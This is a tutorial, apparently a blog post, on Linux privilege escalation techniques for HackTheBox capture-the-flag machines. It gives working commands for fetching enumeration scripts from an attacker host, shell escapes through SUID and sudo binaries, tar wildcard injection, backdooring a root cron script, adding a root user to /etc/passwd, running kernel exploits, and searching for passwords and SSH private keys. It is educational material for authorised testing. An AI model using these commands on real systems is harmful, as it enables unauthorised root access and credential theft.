Linux Privilege Escalation: Techniques Used in HackTheBox Machines

Introduction

Privilege escalation (privesc) is the phase of a penetration test where you move from a low-privilege shell to root (or SYSTEM on Windows). It is one of the most critical — and most satisfying — steps in any CTF or real-world engagement.

This guide covers the most commonly exploited vectors on Linux systems, with the exact commands I use when solving HackTheBox machines.

Disclaimer: This content is for educational purposes and authorized penetration testing only. Always obtain written permission before testing any system you don't own.

---

Phase 1: Initial Enumeration

The moment you land a shell, slow down and enumerate before doing anything.

System Information

# OS and kernel version — critical for kernel exploits
uname -a
cat /etc/os-release
cat /proc/version

# Architecture
uname -m

# Hostname and environment
hostname
env

Current User Context

# Who are you?
id
whoami

# What can you run as root?
sudo -l

# Check groups — docker, lxd, disk are dangerous
groups

Users on the System

cat /etc/passwd | grep -v nologin | grep -v false
cat /etc/shadow   # only if you have permission
ls -la /home/

---

Phase 2: Automated Enumeration

Before going manual, run an automated tool to catch low-hanging fruit.

LinPEAS (Recommended)

# Download to target (if internet access)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Or transfer via Python HTTP server from attacker machine
# Attacker:
python3 -m http.server 8080
# Target:
wget http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt

Pay attention to red/yellow highlighted findings — these are high-confidence vectors.

LinEnum

wget http://ATTACKER_IP:8080/LinEnum.sh -O /tmp/linenum.sh
chmod +x /tmp/linenum.sh
/tmp/linenum.sh -t

---

Phase 3: SUID / SGID Binaries

SUID (Set User ID) binaries run as their owner (often root) regardless of who executes them. If a SUID binary is misconfigured or allows code execution, game over.

Find SUID Binaries

find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Check GTFOBins

Once you have a list, check GTFOBins for known exploits. Common wins:

# If 'find' has SUID
find . -exec /bin/sh -p ; -quit

# If 'vim' has SUID
vim -c ':!/bin/sh'

# If 'nmap' (older versions) has SUID
nmap --interactive
nmap> !sh

# If 'python' has SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

---

Phase 4: Sudo Misconfigurations

sudo -l

Look for entries like:

• (ALL) NOPASSWD: /usr/bin/vim — can spawn a shell
• (ALL) NOPASSWD: /usr/bin/python3 — can run arbitrary code
• (ALL) NOPASSWD: /bin/cp — can overwrite /etc/passwd

Example: sudo vim → root shell

sudo vim -c ':!/bin/bash'
# or
sudo vim
# Inside vim: :set shell=/bin/bash | :shell

Example: sudo python3 → root shell

sudo python3 -c 'import pty; pty.spawn("/bin/bash")'

Wildcard Injection with sudo

If you see something like sudo /opt/scripts/*.sh, check if you can create a file like --checkpoint-action=exec=sh to exploit tar wildcards.

---

Phase 5: Cron Jobs

Cron jobs running as root that reference world-writable files are goldmines.

Finding Cron Jobs

cat /etc/crontab
ls -la /etc/cron*
crontab -l
cat /var/spool/cron/crontabs/root 2>/dev/null

# Watch for cron job execution in real time
pspy64  # transfer and run pspy to monitor processes

Exploiting a Writable Script

If a cron job runs /opt/backup.sh and that file is world-writable:

echo 'chmod +s /bin/bash' >> /opt/backup.sh
# Wait for cron to run, then:
bash -p

---

Phase 6: Writable /etc/passwd

If /etc/passwd is world-writable (rare but happens in CTFs):

ls -la /etc/passwd

# Generate a password hash
openssl passwd -1 -salt xyz hacked

# Append a new root user
echo 'hacker:$1$xyz$HASH_HERE:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker

---

Phase 7: Kernel Exploits

When nothing else works, check for kernel exploits.

uname -r
# e.g. 4.4.0-116-generic

searchsploit linux kernel 4.4

Classic exploits: Dirty COW (CVE-2016-5195), DirtyPipe (CVE-2022-0847).

# DirtyPipe — affects kernels 5.8–5.16
# Download exploit, compile, run:
gcc exploit.c -o exploit && ./exploit /etc/passwd

---

Phase 8: Credentials in Files

# Config files with passwords
find / -name "*.conf" -o -name "*.config" -o -name "*.ini" 2>/dev/null | xargs grep -l "password" 2>/dev/null

# Bash history
cat ~/.bash_history
cat /root/.bash_history 2>/dev/null

# SSH private keys
find / -name "id_rsa" -o -name "id_ecdsa" 2>/dev/null

---

My HTB Workflow Checklist

When I start a privesc on an HTB machine, I follow this order:

1. sudo -l → instant win if misconfigured
2. Run LinPEAS → review red findings
3. Check SUID binaries against GTFOBins
4. Run pspy → spot cron jobs
5. Check writable directories in PATH
6. Look for passwords in files and history
7. Check for unusual capabilities: getcap -r / 2>/dev/null
8. Last resort: kernel exploits

---

Tools Reference

Tool	Purpose	Download
LinPEAS	Comprehensive enum	PEASS-ng releases
pspy	Process monitor (no root)	DominicBreuker/pspy
GTFOBins	SUID/sudo exploit DB	gtfobins.github.io
LinEnum	Older enum script	rebootuser/LinEnum
searchsploit	Local exploit search	kali-linux built-in

---

Conclusion

Privilege escalation is a skill that improves with practice. HackTheBox is the best platform for building this muscle memory. Start with easy machines like Lame, Shocker, and Beep before moving to medium/hard.

If you found this guide helpful, follow me on GitHub — I post more content there and am always open to collaboration!